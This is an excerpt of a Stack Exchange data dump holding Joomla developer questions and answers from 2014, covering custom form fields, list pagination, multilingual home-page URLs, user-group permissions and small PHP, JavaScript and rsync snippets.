  <row Id="4255" PostTypeId="2" ParentId="4252" CreationDate="2014-08-28T16:03:53.790" Score="5" Body="&lt;p&gt;Having looked at the &lt;code&gt;JHtml radiolist&lt;/code&gt; function, it does not support custom classes. It manually adds the &lt;code&gt;radio&lt;/code&gt; class via the actual core file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done here is taken a copy of the core radio field, stripped a few things and modified it for your needs. Hope this helps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldContentRating extends JFormField {&#xA;&#xA;    protected $type = 'ContentRating';&#xA;&#xA;    protected function getInput() {&#xA;&#xA;        $options = array(&#xA;            JHtml::_('select.option', 'Y', 'TV-Y'),&#xA;            JHtml::_('select.option', 'Y7', 'TV-Y7'),&#xA;            JHtml::_('select.option', 'G', 'TV-G'),&#xA;            JHtml::_('select.option', 'PG', 'TV-PG'),&#xA;            JHtml::_('select.option', '14', 'TV-14'),&#xA;            JHtml::_('select.option', 'MA', 'TV-MA')&#xA;        );&#xA;&#xA;        $html = array();&#xA;&#xA;        $class = !empty($this-&amp;gt;class) ? ' class=&quot;radio ' . $this-&amp;gt;class . '&quot;' : ' class=&quot;radio&quot;';&#xA;&#xA;        $html[] = '&amp;lt;fieldset id=&quot;' . $this-&amp;gt;id . '&quot;' . $class. ' &amp;gt;';&#xA;&#xA;        foreach ($options as $i =&amp;gt; $option)&#xA;        {&#xA;            $checked = ((string) $option-&amp;gt;value == (string) $this-&amp;gt;value) ? ' checked=&quot;checked&quot;' : '';&#xA;            $class = !empty($option-&amp;gt;class) ? ' class=&quot;' . $option-&amp;gt;class . '&quot;' : '';&#xA;&#xA;            $onclick = !empty($option-&amp;gt;onclick) ? ' onclick=&quot;' . $option-&amp;gt;onclick . '&quot;' : '';&#xA;            $onchange = !empty($option-&amp;gt;onchange) ? ' onchange=&quot;' . $option-&amp;gt;onchange . '&quot;' : '';&#xA;&#xA;            $html[] = '&amp;lt;input type=&quot;radio&quot; id=&quot;' . $this-&amp;gt;id . $i . '&quot; name=&quot;' . $this-&amp;gt;name . '&quot; value=&quot;'&#xA;                . htmlspecialchars($option-&amp;gt;value, ENT_COMPAT, 'UTF-8') . '&quot;' . $checked . $class . $onclick&#xA;                . $onchange . ' /&amp;gt;';&#xA;&#xA;            $html[] = '&amp;lt;label for=&quot;' . $this-&amp;gt;id . $i . '&quot;' . $class . ' &amp;gt;'&#xA;                . JText::alt($option-&amp;gt;text, preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this-&amp;gt;fieldname)) . '&amp;lt;/label&amp;gt;';&#xA;&#xA;        }&#xA;&#xA;        $html[] = '&amp;lt;/fieldset&amp;gt;';&#xA;&#xA;        return implode($html);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tested and working&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-28T16:03:53.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4256" PostTypeId="2" ParentId="4249" CreationDate="2014-08-28T16:06:27.453" Score="4" Body="&lt;p&gt;Joomla should be using &lt;code&gt;getItems&lt;/code&gt; to run the query. So your best bet is to alter the state of the model to make sure that it loads all the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the model you can do this by using &lt;code&gt;setState&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setState('list.limit', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run that before the model calls getItems and it will load all the items for you.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A few caveats with this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also do this outside the model, so if for instance you were in your view. You could do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$model = $this-&gt;getModel();&#xA;$model-&gt;setState('list.limit', 0);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sometimes you can do this too early, before the model's state has been populated, which will cause the model to get rebuilt from the user state after you have set the limit, basically overriding the limit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To fix this, you can force the model to populate its state first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel();&#xA;$model-&amp;gt;getState();&#xA;$model-&amp;gt;setState('list.limit', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The actual &lt;code&gt;populateState&lt;/code&gt; method is protected, so outside the model you can't call it directly, but any call to &lt;code&gt;getState&lt;/code&gt; will make sure that the &lt;code&gt;populateState&lt;/code&gt; is called before returning the current settings in the state.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-28T16:06:27.453" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4257" PostTypeId="1" CreationDate="2014-08-28T18:26:53.083" Score="2" ViewCount="1156" Body="&lt;p&gt;Hi I have two step registration setup in Joomla 3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user receive an email with a verification link. It does not seem to matter much as they have to be activated by the admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how to automate an email to go to the user once the admin has activated their account? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice or plugin experience would be great. &lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="3650" LastEditDate="2016-11-24T18:51:40.147" LastActivityDate="2016-11-24T18:51:40.147" Title="After admin approval, user does not receive acceptance email" Tags="|user|registration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4258" PostTypeId="1" AcceptedAnswerId="4263" CreationDate="2014-08-28T19:43:52.160" Score="4" ViewCount="643" Body="&lt;p&gt;I am developing a component which has a front-end form. In this form it must be possible to select and upload a File to a user-specific directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found and tested the module Easy File Uploader and it fits my requirements for uploading files (I am using the option &quot;Upload to Username subfolders&quot;. The module will then create a folder for each user). The component only allows me to upload files, but not select them again. I placed the module in my edit-form of the component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i have a directory like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Images&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File1&lt;/li&gt;&#xA;&lt;li&gt;File2&lt;/li&gt;&#xA;&lt;li&gt;File3&lt;/li&gt;&#xA;&lt;li&gt;File4&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;User2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File1&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now i want to be able to select the files again. (So I can store the filepath for the profile image into the Database) I thought about using a simple dropdown, but how can I realize it with the mvc pattern of joomla 3.3? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, im a bit blind, so I found the form field &quot;filelist&quot; on the joomla docs: &lt;a href=&quot;http://docs.joomla.org/Filelist_form_field_type&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Filelist_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set the directory in the code dynamically?&lt;/p&gt;&#xA;" OwnerUserId="280" LastEditorUserId="280" LastEditDate="2014-08-28T20:41:29.733" LastActivityDate="2014-08-29T07:43:43.007" Title="File selector in the front-end of a specific directory" Tags="|front-end|file-upload|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4260" PostTypeId="2" ParentId="4253" CreationDate="2014-08-28T20:18:02.557" Score="2" Body="&lt;p&gt;No structure is wrong, the nice thing about Joomla is it does not force you. Your first one in the aspect of it being structured within an install-able archive I would say is the closest to standard. Some developers prefer everything in one directory, others prefer 2-3 well split folders. Some even might have a folder for every file, nothing is incorrect in the end as it all &quot;works&quot;. Though personally although I have no experience with joomlatools, if that structure is meant for the install archive it seems rather &quot;excessive&quot;, no real reason for 2 of the folder levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This next part is not directly related to the question&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for symlink i don't think it can ever really work, if any file references another file its going to look for it based on the &quot;real&quot; file (so if you have root/installable/file.php going to root/joomla/file.php it assumes you are in root/installable). There may be a way around that but I found a better alternative that does not have as many potential issues, rsync. Of course you need command line but I have this working on a shared host even with limited ssh access.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;# sync&#xA;rsync -r /home/joomla/components/com_component/administrator/* /home/joomla/public_html/administrator/components/com_component/&#xA;rsync -r /home/joomla/components/com_component/site/* /home/joomla/public_html/components/com_component/&#xA;rsync -r /home/joomla/components/com_component/administrator/language/* /home/joomla/public_html/administrator/language/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It got a bit to it but you can see that with any folder structure you can map the files to the proper folder, you only need to install it once to get the database records (and again if you change anything). You may also be able to just use CP, but this worked for me so I had no reason to change (and has the ability to work across servers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though this needs to be run every time you do an update, but not to hard once you get the hang of it. You can also do it in reverse and instead just edit straight on your dev site for the component (again there may be a way around that, just have not worked on it yet).&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-08-28T21:27:46.483" LastActivityDate="2014-08-28T21:27:46.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4261" PostTypeId="2" ParentId="4106" CreationDate="2014-08-28T22:01:32.733" Score="0" Body="&lt;p&gt;I tend to think that something might be related to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mostly work with Safari 5.1, so I didn't have the chance to extensively test the issue in practice using other browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am doing though, is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the issue appears in Safari, I am clearing the browser's cache, refreshing the page and try again the installation. In many cases, this seems to work and I am able to install the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are still a few cases where the installation is not possible. When this is the case, I am using Chrome or Firefox. Installation occurs with no hassle there at the first try.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-28T22:01:32.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4263" PostTypeId="2" ParentId="4258" CreationDate="2014-08-29T07:43:43.007" Score="4" Body="&lt;p&gt;In your model, after loading the form, you can use &lt;code&gt;setFieldAttribute&lt;/code&gt; to set the directory dynamically like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('myfile', 'directory', 'media/media/images');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-29T07:43:43.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4264" PostTypeId="1" AcceptedAnswerId="4265" CreationDate="2014-08-29T09:04:26.373" Score="3" ViewCount="539" Body="&lt;h1&gt;Initial Problem 2014 - Joomla 3.3.3&lt;/h1&gt;&#xA;&lt;p&gt;I have set up a multilingual site, but rather using the &lt;strong&gt;Featured Articles&lt;/strong&gt; menu-item as &lt;strong&gt;Home&lt;/strong&gt;, I used a &lt;strong&gt;Single Article&lt;/strong&gt; menu-item. Menu-items, categories, articles are all associated among the languages.&lt;/p&gt;&#xA;&lt;p&gt;If I use the home menu-item from the main menu, it works fine.&lt;/p&gt;&#xA;&lt;p&gt;The issue is that mod_languages generates duplicate URL for the home pages, when I am in the home page and want to change language.&lt;/p&gt;&#xA;&lt;p&gt;So instead of going to &amp;quot;www.mysite.com/en&amp;quot;  -  it goes to &amp;quot;www.mysite.com/en/home&amp;quot;.&#xA;So, currently there are 2 obvious duplicate urls for all my home pages.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Update 2017 - Joomla 3.7x&lt;/h1&gt;&#xA;&lt;p&gt;This is a continuation of this old issue.&lt;/p&gt;&#xA;&lt;p&gt;That issue seems to be fixed now in recent Joomla versions. Creating associations among the Languages homepage articles is working as expected - (this is tested and confirmed with Joomla 3.7.2).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Update 2017 Joomla 3.7x with Home Page using Articles and sh404SEF issues&lt;/h1&gt;&#xA;&lt;p&gt;However, I had to deal with a very similar issue today, on a multilingual site that had Articles for the homepages that were associated and also it is using sh404SEF.&lt;/p&gt;&#xA;&lt;p&gt;With the above configuration, some issues appeared:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;sh404SEF created duplicate URLs for some of the homepages - both a &lt;code&gt;www.example.com/lang&lt;/code&gt; and a &lt;code&gt;www.example.com/lang/article-alias&lt;/code&gt; URLs may be created for the homepage of each language.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It was not possible to switch back to the main language of the website, as for some reason the link in the mod_languages for the homepage main language was like &lt;code&gt;www.example.com/lang/home-alias&lt;/code&gt; which was redirecting back to the homepage of the current language.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-05T10:57:51.383" Title="Multilingual - Associations: Single Articles for Home Page - Duplicate Home URL issue" Tags="|sef|multilingual|sh404sef|mod-languages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4265" PostTypeId="2" ParentId="4264" CreationDate="2014-08-29T09:07:50.557" Score="1" Body="&lt;h1&gt;Initial 2014 Solution - Older Joomla 3x versions&lt;/h1&gt;&#xA;&lt;p&gt;The issue comes from the mod_languages, because currently it will always check for the component's associations and if it finds them, it will create that url for the page. Although in this case, we might just wanted to use only the association from the menu items for homes and skip the component's associations (I am not that sure that this should always work for each case and every home page setup though).&lt;/p&gt;&#xA;&lt;p&gt;The easiest way to overcome this, is to &lt;strong&gt;un-associate&lt;/strong&gt; those articles that are used by the home-page menuitems, so the mod_languages will just use the menu-items associations.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Resolving Joomla 3.7x with Home Page using Articles and sh404SEF issues&lt;/h1&gt;&#xA;&lt;p&gt;Initially sh404SEF was giving me those issues. Un-associating the articles initially gives a solution for the URLs created with sh404SEF on the language switcher module.&lt;/p&gt;&#xA;&lt;p&gt;However, if you are like me and like to keep things organized, then likely you will want to have also the homepage articles associated.&lt;/p&gt;&#xA;&lt;p&gt;In order to fix those, I created manual SEF URLs for the homepage articles in sh404SEF component, that were the simply the URL Language Codes for each language.&lt;/p&gt;&#xA;&lt;p&gt;So for the Main English language - I changed the URL that sh404SEF was creating with the article's alias, to &lt;code&gt;/en&lt;/code&gt;. This worked well even with the setting to remove the default language URL code in the language filter plugin.&lt;/p&gt;&#xA;&lt;h3&gt;Note:&lt;/h3&gt;&#xA;&lt;p&gt;That if the URL for home-page article is set manually in sh404SEF you may have issues if at some point you decide to change the URL Language Code - as they won't be the same anymore.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-05T10:57:51.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4266" PostTypeId="2" ParentId="4249" CreationDate="2014-08-29T09:10:30.657" Score="7" Body="&lt;p&gt;I found a solution (I think).&#xA;I've overwritten JModelList methods.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyComponentModel extends JModelList{&#xA;&#xA;    protected $_items = array();&#xA;&#xA;    public function getItems() {&#xA;        // Get a storage key.&#xA;        $store = $this-&amp;gt;getStoreId();&#xA;&#xA;        // Try to load the data from internal storage.&#xA;        if (isset($this-&amp;gt;cache[$store])) {&#xA;            return $this-&amp;gt;cache[$store];&#xA;        }&#xA;        $query = $this-&amp;gt;getQuery();&#xA;        $this-&amp;gt;query = $query;&#xA;        $db = JFactory::getDbo();&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $rows = $db-&amp;gt;loadObjectList();&#xA;        $this-&amp;gt;cache[$store] = $rows;&#xA;        $this-&amp;gt;_items = $rows;&#xA;        return array_slice($rows, $this-&amp;gt;getStart(), $this-&amp;gt;getState('list.limit'));&#xA;    }&#xA;&#xA;    public function getPagination() {&#xA;        // Get a storage key.&#xA;        $store = $this-&amp;gt;getStoreId('getPagination');&#xA;&#xA;        // Try to load the data from internal storage.&#xA;        if (isset($this-&amp;gt;cache[$store])) {&#xA;            return $this-&amp;gt;cache[$store];&#xA;        }&#xA;&#xA;        // Create the pagination object.&#xA;        jimport('joomla.html.pagination');&#xA;        $limit = (int) $this-&amp;gt;getState('list.limit') - (int) $this-&amp;gt;getState('list.links');&#xA;        $page = new JPagination($this-&amp;gt;getTotal(), $this-&amp;gt;getStart(), $limit);&#xA;&#xA;        // Add the object to the internal cache.&#xA;        $this-&amp;gt;cache[$store] = $page;&#xA;&#xA;        return $this-&amp;gt;cache[$store];&#xA;    }&#xA;&#xA;    function getTotal() {&#xA;        return count($this-&amp;gt;_items);&#xA;    }&#xA;&#xA;    public function getQuery() {&#xA;        // query&#xA;        return $query;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;model = $this-&amp;gt;getModel();&#xA;$this-&amp;gt;items = $this-&amp;gt;model-&amp;gt;getItems();&#xA;$this-&amp;gt;pagination = $this-&amp;gt;model-&amp;gt;getPagination();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;page loads much faster. Is it good solution?&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="1592" LastEditDate="2014-08-29T09:19:18.270" LastActivityDate="2014-08-29T09:19:18.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4267" PostTypeId="2" ParentId="4247" CreationDate="2014-08-29T09:46:44.657" Score="1" Body="&lt;p&gt;I was almost about to finish it with success :)&#xA;I have forgotten to add just one line into &lt;strong&gt;/libraries/joomla/feed/parser/rss.php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function processFeedEntry(JFeedEntry $entry, SimpleXMLElement $el) {&#xA;        $entry-&amp;gt;uri = (string) $el-&amp;gt;link;&#xA;        $entry-&amp;gt;title = (string) $el-&amp;gt;title;&#xA;        $entry-&amp;gt;publishedDate = (string) $el-&amp;gt;pubDate;&#xA;        $entry-&amp;gt;updatedDate = (string) $el-&amp;gt;pubDate;&#xA;        $entry-&amp;gt;content = (string) $el-&amp;gt;description;&#xA;        $entry-&amp;gt;guid = (string) $el-&amp;gt;guid;&#xA;        $entry-&amp;gt;comments = (string) $el-&amp;gt;comments;&#xA;        $entry-&amp;gt;myimage= (string) $el-&amp;gt;myimage; //this line&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, my problem has gone. &lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2014-08-29T09:46:44.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4269" PostTypeId="1" AcceptedAnswerId="4271" CreationDate="2014-08-29T11:56:00.270" Score="0" ViewCount="918" Body="&lt;p&gt;I have created a search form with RSForm Pro, unfortunately it isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept is to do a TAG Search all the Fields of the Form (Select and Radio) have values which are part of a URL which has to be build when you press on &quot;suchen&quot; (Fields are depending on each other and the button will only show up when all steps have been completed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this code trying to accomplish this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function suchen() {&#xA;    var URLBase = &quot;http://ego.pc-helfer.eu/index.php?option=com_tags&amp;amp;view=tag&quot;;&#xA;    var TrailingFixedData = &quot;&amp;amp;types[0]=1&quot;;&#xA;&#xA;    finalURL = URLBase + document.getElementsByClassName('value1').value +&#xA;    document.getElementsByClassName('value2').value +         &#xA;    document.getElementsByClassName('value3').value + &#xA;    document.getElementsByClassName('value4').value + &#xA;    document.getElementsByClassName('value5').value + TrailingFixedData;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But when I press &quot;suchen&quot; the Chrome console tells me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught ReferenceError: suchen is not defined &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can see the script is being loaded, but I still get this message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url of the site: &lt;a href=&quot;http://ego.pc-helfer.eu/produktsuche/substrattkompass&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ego.pc-helfer.eu/produktsuche/substrattkompass&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="12352" LastEditDate="2019-01-14T15:56:39.480" LastActivityDate="2019-01-14T15:56:39.480" Title="RSForm Pro Search form" Tags="|joomla-3.x|javascript|tags|search|rsform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4270" PostTypeId="1" AcceptedAnswerId="4272" CreationDate="2014-08-29T12:32:23.573" Score="4" ViewCount="131" Body="&lt;p&gt;is there way make group of users able to assign their or lower group for users with lower user group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;explaination:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Public&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|- Guest&#xA;|- Registered&#xA;|-- Group2&#xA;|--- Group3&#xA;|- Others&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like &quot;Group3&quot; to be able to assign &quot;Group2&quot; to the users in &quot;Registered&quot;, but I dont want them to be able to assign any other user groups like &quot;Others&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have problem with Group3 entering to the administration panel. I even tried to grant them all privilegies in Global Configuration except Super User, but although they can log in into the administration panel, they cant do anything here. Did I miss something?&lt;/p&gt;&#xA;" OwnerUserId="1835" LastActivityDate="2014-08-29T20:40:41.910" Title="Assign user-groups to lower user-group users" Tags="|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4271" PostTypeId="2" ParentId="4269" CreationDate="2014-08-29T14:43:44.140" Score="0" Body="&lt;p&gt;Remove &lt;code&gt;onclick=&quot;suchen()&quot;&lt;/code&gt; and use these lines of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    jQuery('#Suchen').on('click', function() {&#xA;        // Your Code Here.&#xA;        window.location.replace(finalURL);&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-29T14:43:44.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4272" PostTypeId="2" ParentId="4270" CreationDate="2014-08-29T20:40:41.910" Score="2" Body="&lt;p&gt;This is not possible by default in Joomla, although users of lower usergroups can only assign users to groups up to the level of their group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, Joomla's default user management occurs in the backend. I am not sure you would want to give backend access to so many users. You should look for a front-end solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, it would be better to describe further your whole use-case and what you are trying to build and its purpose. Will that be a community, a membership site, something else...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you are describing, I think there is one 3rd party component, that does this in the front-end, which I think is what you actually need and should do. The extensions is called &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/frontend-access-control/25207&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;DM Frontend User Manager&lt;/strong&gt;&lt;/a&gt;, but it is a commercial one. I have no experience using this extension though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the extension does not fit your requirements, you may look for other similar extensions in JED. But depending on your actual final purpose, you might also look for &lt;a href=&quot;http://extensions.joomla.org/extensions/clients-a-communities&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;communities, memberships&lt;/strong&gt;&lt;/a&gt; and similar extensions. Otherwise, you will need to build something exactly for your needs (custom component, or a custom db app with a tool like &lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;fabrik&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.mintjoomla.com/joomla-components/cobalt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;cobalt&lt;/strong&gt;&lt;/a&gt; etc). This will take much efforts and if you can't do this at your own, you will have to pay someone expert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the issues for the backend login for your custom usergroups I can't say much at the moment... You should review again all the actions you took when creating and assigning users/usergroups/permissions and make sure you have done everything correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/3729/joomla-3-x-acl-not-working&quot;&gt;Menu Module not appearing/working with ACL&lt;/a&gt;, and let us know how this goes...&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-08-29T20:40:41.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4273" PostTypeId="2" ParentId="4264" CreationDate="2014-08-29T22:19:03.227" Score="1" Body="&lt;p&gt;I have a similar setup, but I used the featured articles function. It works if you create 3 menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu item #1: Your &quot;master&quot; home menu, that one is the feature articles item. Stick it in a hidden menu so no one sees the menu at all appearing anywhere. Set it so it's the default Home item (has the star marked on it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make 2 articles, one for each home article in their respective languages and assign them to the language. Set them BOTH to featured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu item #2 Create an English menu and create an english Home menu item and link to just the english home article. Set the language for this item to English. Click the Home icon for this menu and it SHOULD assign a country flag to it instead of a star.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu item #3 Create a menu for the other language, and again, make a Home item for that and link to that home article. Set the language for this item to the other language. Click the Home icon for this menu and it SHOULD assign a country flag to it instead of a star.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for each menu item in the two different language menus, you can assign the alternate language item that goes with it (so that if a user clicks the flag icon it flips to the other article without giving an error).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is that first &quot;master&quot; home item. Again, you never actually see the featured function (that I can tell), instead you see the home in each of the two other menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No idea if this is a help or not what you were looking for, but it works perfectly on a site I built:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shoresofgrace.com&quot; rel=&quot;nofollow&quot;&gt;http://shoresofgrace.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-08-29T22:19:03.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4274" PostTypeId="2" ParentId="4167" CreationDate="2014-08-30T04:52:08.757" Score="0" Body="&lt;p&gt;Thanks @Fari, I was able to review the suggested Class to see what it is doing.&lt;/p&gt;&#xA;" OwnerUserId="1787" LastActivityDate="2014-08-30T04:52:08.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
